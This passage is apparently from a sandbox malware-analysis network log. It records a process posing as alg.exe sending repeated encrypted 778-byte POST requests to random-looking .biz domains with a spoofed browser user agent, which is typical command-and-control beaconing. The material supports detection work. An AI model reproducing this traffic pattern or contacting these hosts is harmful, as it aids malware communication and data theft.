Oct 28, 2024 16:51:48.959253073 CET	778	OUT	Data Raw: 27 f5 37 5e 5a 84 57 d6 fe 02 00 00 f9 3b d4 d4 e8 07 b8 90 0f ae 42 93 cc 99 6b 25 61 e3 51 29 10 fb 29 72 c5 bd 5a 2c 42 e4 a1 2b e9 50 8c 83 a8 dd 3e d6 91 d6 b9 ec 4e 2e fd 10 e7 b3 45 ec 3c 6a e3 1f 7b 2c 6c 43 2d 34 a6 96 d6 b4 b4 87 12 40 Data Ascii: '7^ZW;Bk%aQ))rZ,B+P>N.E<j{,lC-4@DN)olvk_&l]$LI O(y8Ir5LsN<@e8req}Yd\|!So++k8Gtt[j[0ap*q=>'ImRF
Oct 28, 2024 16:51:49.634098053 CET	415	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 28 Oct 2024 15:51:49 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=94243503b8cc9a3ec2a670ef8a1e4ddc\|155.94.241.188\|1730130709\|1730130709\|0\|1\|0; path=/; domain=.reczwga.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=155.94.241.188; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.5	50045	34.211.97.45	80	2636	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:51:49.841701031 CET	343	OUT	POST /i HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: bghjpy.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 778
Oct 28, 2024 16:51:49.841715097 CET	778	OUT	Data Raw: 50 ad 65 05 3e f5 9a 80 fe 02 00 00 9f 64 8e df 93 37 59 13 18 64 11 90 dd 1f d0 1a 9b 9b 09 35 c7 70 44 b0 eb 0e e3 d1 19 d3 28 ec d0 4a e1 28 a5 08 47 5f c4 00 91 55 73 49 70 20 d4 95 ab 7c c0 e0 4c 56 74 6a fb 96 49 c1 cc 21 09 38 ec db e6 f7 Data Ascii: Pe>d7Yd5pD(J(G_UsIp \|LVtjI!8!tE_D\o(F'!9j)`A7!?dtZ1M]ti\`{$Fc+G_{T9~1<PvJEUm_,S).5xr
Oct 28, 2024 16:51:50.903523922 CET	414	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 28 Oct 2024 15:51:50 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=cced32451f2dd47d89292eaf67424b65\|155.94.241.188\|1730130710\|1730130710\|0\|1\|0; path=/; domain=.bghjpy.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=155.94.241.188; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.5	50046	18.208.156.248	80	2636	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:51:50.923712015 CET	351	OUT	POST /dnmujj HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: damcprvgv.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 778
Oct 28, 2024 16:51:50.923747063 CET	778	OUT	Data Raw: 45 52 d0 16 ef 98 77 f9 fe 02 00 00 e4 53 c1 63 55 f6 51 4e 61 94 c8 72 46 2f de e5 86 75 ca 1b 92 b2 94 d5 84 fa 7a 4c 10 d5 a7 8d b3 ec cf 15 9e 19 4f d8 82 69 c0 b5 4a 60 21 12 2e 89 b6 56 3a a8 45 bb 55 b6 20 ec d7 50 b9 47 7a b8 00 b5 35 4e Data Ascii: ERwScUQNarF/uzLOiJ`!.V:EU PGz5NKvHI/Ij~I_`7X\g:5L-{U(p~fPTN?:sVa!\|Awp,cXtQN'eoU8gtrY> Qdkn
Oct 28, 2024 16:51:51.627598047 CET	417	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 28 Oct 2024 15:51:51 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=a5c475f4b7b33185b36d930d1f668fbe\|155.94.241.188\|1730130711\|1730130711\|0\|1\|0; path=/; domain=.damcprvgv.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=155.94.241.188; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.5	50047	3.254.94.185	80	2636	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:51:51.648871899 CET	345	OUT	POST /jw HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: ocsvqjg.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 778
Oct 28, 2024 16:51:51.648905039 CET	778	OUT	Data Raw: 71 3a 04 29 62 2e 13 73 fe 02 00 00 42 e2 53 2b d4 dd f8 36 d7 fc f2 36 cb 2d 91 00 fb f8 82 b4 68 8b f3 60 85 69 6e 3b 04 49 ea 69 3b 77 3d f6 82 a1 53 fa a2 1b 08 4b df 5c 86 c3 70 3e da bb 61 b6 93 50 e3 0d 29 d4 73 96 26 14 5e 91 a7 01 27 c8 Data Ascii: q:)b.sBS+66-h`in;Ii;w=SK\p>aP)s&^'cjee:8W@o%lAl%cRPqTF\|2Rq b)cs,XR%.Fbtf&.nR[5m>9P2rdc &~
Oct 28, 2024 16:51:52.612293959 CET	415	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 28 Oct 2024 15:51:52 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=da41906060fa2e0f2078de0300e2016e\|155.94.241.188\|1730130712\|1730130712\|0\|1\|0; path=/; domain=.ocsvqjg.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=155.94.241.188; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.5	50048	54.244.188.177	80	2636	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:51:52.633246899 CET	356	OUT	POST /cssyiwvwfakxyln HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: ywffr.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 778
Oct 28, 2024 16:51:52.633289099 CET	778	OUT	Data Raw: fe 6a 6c 86 07 8d 8f bc fe 02 00 00 2b 1c a1 76 d5 ed 9b 5e 4c 7c 48 2e 3a a1 bb 78 5e f4 99 37 91 7a 54 6d c3 ec 53 64 a2 53 23 c2 aa 60 cf f3 bc 03 e9 f5 39 0d e7 4d 62 3b af 59 db 35 06 34 58 2a 5b 8d 66 8c 64 e8 73 07 5a e1 9d a2 6b eb 13 1a Data Ascii: jl+v^L\|H.:x^7zTmSdS#`9Mb;Y54X*[fdsZkJQZNPm9Lo <kRl@eBusNXihp7/7!^\(C(\0[SN#.N}lwK8,m"=QdE<#iMSwG@}x.2b~M
Oct 28, 2024 16:51:53.479470968 CET	413	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 28 Oct 2024 15:51:53 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=2d7a26618c254e15df1440ab7edb22fe\|155.94.241.188\|1730130713\|1730130713\|0\|1\|0; path=/; domain=.ywffr.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=155.94.241.188; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.5	50049	54.244.188.177	80	2636	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:51:53.503767967 CET	346	OUT	POST /asvi HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: ecxbwt.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 778
Oct 28, 2024 16:51:53.503797054 CET	778	OUT	Data Raw: 28 21 9a 2d eb fd d2 67 fe 02 00 00 a5 4a f6 3a 79 03 5b 41 9b 3b ae f1 0c 26 07 ce 28 18 25 43 fd 28 fb d9 59 b9 4f 1f 9b 73 f8 f6 ba 93 09 b6 b5 5c 72 61 23 eb 40 db f3 cd 53 89 f7 f9 03 59 f0 20 0b a7 1e 2a de 70 61 76 d5 10 ea fa 84 29 c8 48 Data Ascii: (!-gJ:y[A;&(%C(YOs\ra#@SY pav)HBXN#p^0n{[]8w{]mZc5r1_2}4~\|bJ/8Fx$q-3w^M?{@4q0,+8+wM_]$
Oct 28, 2024 16:51:54.333273888 CET	414	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 28 Oct 2024 15:51:54 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=c1d3183ad2bebd53e89b7a69197984f1\|155.94.241.188\|1730130714\|1730130714\|0\|1\|0; path=/; domain=.ecxbwt.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=155.94.241.188; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.5	50050	18.246.231.120	80	2636	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:51:54.354605913 CET	354	OUT	POST /dnnoxqpiwspjj HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: pectx.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 778
Oct 28, 2024 16:51:54.354635000 CET	778	OUT	Data Raw: ec 48 8b ea c8 ed 2e 8b fe 02 00 00 d9 38 e5 44 52 2a 78 12 c5 ea cf 89 ce b6 8a 68 ab 41 3d a4 12 a2 06 34 8a 4a 8e e4 6f f2 eb 09 8d da a5 cf 75 9a 90 dd bf ec db 39 b7 ee 54 5e 3e 41 ff 65 6d 32 3d 8e c2 f8 df 5a 7f 4e d9 3b a6 93 d6 45 20 8d Data Ascii: H.8DR*xhA=4Jou9T^>Aem2=ZN;E p;\|wz^Xvo'3nv}nZC3kp,2z&e28@:/l\m\PpM_?IZc;TK5t' yKpDZCZ#
Oct 28, 2024 16:51:55.194593906 CET	413	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 28 Oct 2024 15:51:55 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=9f233f36ed594b882eda9049fb36df9f\|155.94.241.188\|1730130715\|1730130715\|0\|1\|0; path=/; domain=.pectx.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=155.94.241.188; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.5	50051	18.208.156.248	80	2636	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:51:55.654402971 CET	352	OUT	POST /srcxcicm HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: zyiexezl.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 778
Oct 28, 2024 16:51:55.654433966 CET	778	OUT	Data Raw: 77 13 b1 70 9b 56 1f c7 fe 02 00 00 1b 23 db cf 18 d6 06 a4 ae 8e c3 b7 01 ea 13 fd d6 a1 ea cb 1e 11 43 53 ae d0 3d d8 39 dc 1a 5e 71 2e 43 e4 c9 54 da 71 de fe f0 d8 d0 62 ca 86 82 87 87 1a 92 65 e8 25 9f 78 05 e9 b9 8f fe 1a e1 0e 84 b9 c6 69 Data Ascii: wpV#CS=9^q.CTqbe%xi.h<1;,}e(n7D~me>q/?~Wo%10:W#CM:/6mH[t\|%W*+o{fPev5@2gyx$
Oct 28, 2024 16:51:56.322695017 CET	416	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 28 Oct 2024 15:51:56 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=6e41551babe52d46a5c6b4b7b0b96913\|155.94.241.188\|1730130716\|1730130716\|0\|1\|0; path=/; domain=.zyiexezl.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=155.94.241.188; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.5	50052	44.221.84.105	80	2636	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:51:56.342493057 CET	354	OUT	POST /ydbxvrfdujat HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: banwyw.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 778
Oct 28, 2024 16:51:56.342518091 CET	778	OUT	Data Raw: 6f 35 62 8d 65 81 34 35 fe 02 00 00 4e c4 02 d0 73 e9 e4 10 9b 2d 39 4f 85 11 59 0f ab 8c 39 4d ed 2a f0 22 74 1a 3a 03 f2 20 af 97 3b 56 9b 8a 00 c0 6c ad d5 65 e2 55 95 97 38 00 3e 26 f1 10 bd 30 af 6e cc 1d bd a7 2d db d0 2a 3d c2 b0 0e 5f ab Data Ascii: o5be45Ns-9OY9M"t: ;VleU8>&0n-=_F%S$*b#;?5?9&3!>Km21W]\|]M$#)6NFUO{#@QWu:TwtJDL@F:@UXY
Oct 28, 2024 16:51:57.040076017 CET	414	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 28 Oct 2024 15:51:56 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=18e8389e49648dcd77c0c6416d712d1c\|155.94.241.188\|1730130716\|1730130716\|0\|1\|0; path=/; domain=.banwyw.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=155.94.241.188; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.5	50053	72.52.178.23	80	2636	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:51:57.068813086 CET	356	OUT	POST /otrjjjdmycgv HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: wxgzshna.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 778
Oct 28, 2024 16:51:57.068835020 CET	778	OUT	Data Raw: 9b 1d 95 a0 d8 18 d1 ae fe 02 00 00 b5 65 82 e5 50 64 c4 7c 89 8a 1d 1a 60 af 87 e7 ec 8d 9f 1e fb a3 3c be b3 da 31 cd bc 3c 05 f9 1f 19 9b f9 86 33 8b 45 9d f1 30 af 6e 49 aa 35 ca d3 08 82 29 4f e9 a5 16 7d 77 f9 5b 49 a3 25 c9 9f ee 5c 36 82 Data Ascii: ePd\|`<1<3E0nI5)O}w[I%\6{B(=,&s&/EF6>L)[aky3%h[&+yL7sJiCuO'D<;0h5:~(,DoE_'@t_ mHsL242]r]gZa#<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.5	50054	72.52.178.23	80	2636	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:51:57.912318945 CET	357	OUT	POST /klxaypeiwoubq HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: wxgzshna.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 778
Oct 28, 2024 16:51:57.912353992 CET	778	OUT	Data Raw: 5c 48 be 5d 6a b1 05 42 fe 02 00 00 23 67 22 d8 c3 81 3e 08 64 1f 3e 5d a8 0a 0f 88 a0 f5 ec 44 97 94 31 a0 ef f3 c5 fc 6a c4 25 23 a9 61 d9 3b 80 ce 7c e9 39 0f fb 6a 34 c7 fe 7a 35 e3 46 f4 9b d5 45 2f 72 79 f7 b1 58 60 6b 46 e5 4d fc 08 9f 0c Data Ascii: \H]jB#g">d>]D1j%#a;\|9j4z5FE/ryX`kFMmXmk~h%Q[d0/M<CQ?lRm9zu!I:+M)pm^5cs~"l-&`:*lulfpZ-1[YDj']sw

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.5	50055	44.221.84.105	80	2636	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:51:58.748231888 CET	355	OUT	POST /mcduyucxmuwka HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: zrlssa.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 778
Oct 28, 2024 16:51:58.748266935 CET	778	OUT	Data Raw: ec a8 2c 25 9e 35 da 5a fe 02 00 00 4d 6e 10 57 c0 56 36 3a 19 30 03 2a c3 a8 c7 a0 6b 50 b9 ef 48 94 7a 5c 83 96 a9 74 cc b8 4c ba 7f b9 f5 34 ac 3a 72 94 a6 f3 f1 71 81 83 0e 82 eb 0d 8b 94 51 ff 1c b3 9e be 32 13 c3 8b 7f 54 15 6c 1c 73 d0 b9 Data Ascii: ,%5ZMnWV6:0*kPHz\tL4:rqQ2TlsRz3]wbP:ku=4n5@)z:v(>o;=,'HB}g{fX<Zpv:#R)7d%xK/+9D)cH_4a,R"jP7
Oct 28, 2024 16:51:59.424982071 CET	414	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 28 Oct 2024 15:51:59 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=8cdec651ec65576248b11ede47545667\|155.94.241.188\|1730130719\|1730130719\|0\|1\|0; path=/; domain=.zrlssa.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=155.94.241.188; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.5	50056	18.141.10.107	80	2636	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:51:59.445733070 CET	353	OUT	POST /hrucffqs HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: jlqltsjvh.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 778
Oct 28, 2024 16:51:59.445733070 CET	778	OUT	Data Raw: e7 c6 a5 42 b2 b7 18 58 fe 02 00 00 09 a7 8a 1f 3a 5c 7e 29 24 8d eb 05 f8 3c 62 b3 51 83 7b 16 d9 27 d5 c8 f7 2e 85 a3 53 1a 3a dc 8c e9 36 e6 bf ed 73 24 ba ea 36 eb a2 2c 95 ee 61 2b fe d1 af 6e 10 ae 8c 85 3e c6 78 50 53 9f 02 d0 cd b3 9e d6 Data Ascii: BX:\~)$<bQ{'.S:6s$6,a+n>xPSz:Y/(bV)8h\|V&HO'wQ<@KC&&~WH8fi?lW)x+T%kZ&6yK8#`##XsR;R;x,(UA:E"?_]/
Oct 28, 2024 16:52:00.889324903 CET	417	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 28 Oct 2024 15:52:00 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=55909511bd39f7be112632d57893cecb\|155.94.241.188\|1730130720\|1730130720\|0\|1\|0; path=/; domain=.jlqltsjvh.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=155.94.241.188; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.5	50057	18.208.156.248	80	2636	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:52:00.910176039 CET	343	OUT	POST /rc HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: xyrgy.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 778
Oct 28, 2024 16:52:00.910197973 CET	778	OUT	Data Raw: a1 2b 80 53 56 0f 0e 41 fe 02 00 00 36 d4 c5 80 21 41 5e e6 fd af 90 d4 06 13 31 6b 70 bc dc 80 9b f6 80 de 9a 2a c1 11 c9 da 5b f5 ae fd 12 a6 65 40 3b 45 ab 8f fb c5 b7 12 0f 94 4a 1e 04 dd 98 c1 db 04 e0 86 3c be eb 26 58 ee 12 16 48 79 dc 25 Data Ascii: +SVA6!A^1kp[e@;EJ<&XHy%b:=HWKPQC#7"[7Bh9Gc+N?;X5Fr*PY!/YPyA?S>qJzbv_ghcm.]tMCi_38gZx4J$eSM&v
Oct 28, 2024 16:52:01.563652992 CET	413	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 28 Oct 2024 15:52:01 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=da0c287f76832482c945062ca3933cf3\|155.94.241.188\|1730130721\|1730130721\|0\|1\|0; path=/; domain=.xyrgy.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=155.94.241.188; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.5	50058	172.234.222.138	80	2636	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:52:01.585447073 CET	349	OUT	POST /lmpk HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: htwqzczce.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 778
Oct 28, 2024 16:52:01.585484982 CET	778	OUT	Data Raw: 33 bc f3 85 18 b9 3d 28 fe 02 00 00 70 5b 37 72 a5 41 c9 f8 29 a3 01 99 62 fb 79 14 9f f4 55 ca a1 56 b9 52 31 93 7c 6f dd f5 bd 0c b2 ce 51 bc 0f 47 5d c6 32 76 72 32 6f 09 8a 70 3b 14 62 b6 cc 0c 24 52 cb 6f c5 c7 f0 34 5c 40 3c 55 99 e6 15 91 Data Ascii: 3=(p[7rA)byUVR1\|oQG]2vr2op;b$Ro4\@<U8Ml-x;\|]p"KSd[>9&;'O`Su'h2`h]6:p$'fWo\gW_"$t]X5PR>R69^GTAaMM\|C2J2]rb6

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.5	50059	172.234.222.138	80	2636	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:52:02.246095896 CET	347	OUT	POST /dp HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: htwqzczce.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 778
Oct 28, 2024 16:52:02.246130943 CET	778	OUT	Data Raw: 91 87 e4 c3 30 f8 e5 04 fe 02 00 00 a6 c3 35 0d 18 84 16 7b 1b a3 6a 38 21 ad 9f c7 f5 b5 14 34 0c 3a 74 20 76 56 d2 a4 2e 80 03 40 b9 71 fe 3b 61 b9 46 dd 1b 37 4c 05 0c d0 17 50 fd a9 f2 b4 dd e5 ac e1 e5 dc 7a f1 94 9f f6 50 71 c4 73 d2 cb 25 Data Ascii: 05{j8!4:t vV.@q;aF7LPzPqs%O+KM4%xZPOXa_'`8"qLBmmpz_c?D-(X/en0G)RWwt+:R#.!E_Sa7}1/Zk

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.5	50060	54.244.188.177	80	2636	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:52:03.162542105 CET	348	OUT	POST /euqwv HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: kvbjaur.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 778
Oct 28, 2024 16:52:03.162570953 CET	778	OUT	Data Raw: 24 e4 1a 8a af d3 e3 ad fe 02 00 00 83 e9 06 4e d4 57 f4 dc 18 c7 8e c8 b2 fa 2f 76 67 2a 3c c1 cf 0e dc 34 14 bf 2d e5 93 2d 3e b9 a8 d2 73 60 ac 2c 6a a5 ae 48 be 7a 15 6f ba 0d 58 50 03 29 30 88 d1 e9 01 8a 59 49 b2 e4 6e dc d2 fb 69 3a b0 15 Data Ascii: $NW/vg<4-->s`,jHzoXP)0YIni:iCW8,?_=T!yT"RM]6Rq,_;1py ?\|a]J\|zj;\|S!*jKEq?Y"3g8EdGD,L+u%zL<p
Oct 28, 2024 16:52:04.176521063 CET	415	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 28 Oct 2024 15:52:03 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=bf635b8cb8997ff95c6099820b73627f\|155.94.241.188\|1730130723\|1730130723\|0\|1\|0; path=/; domain=.kvbjaur.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=155.94.241.188; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

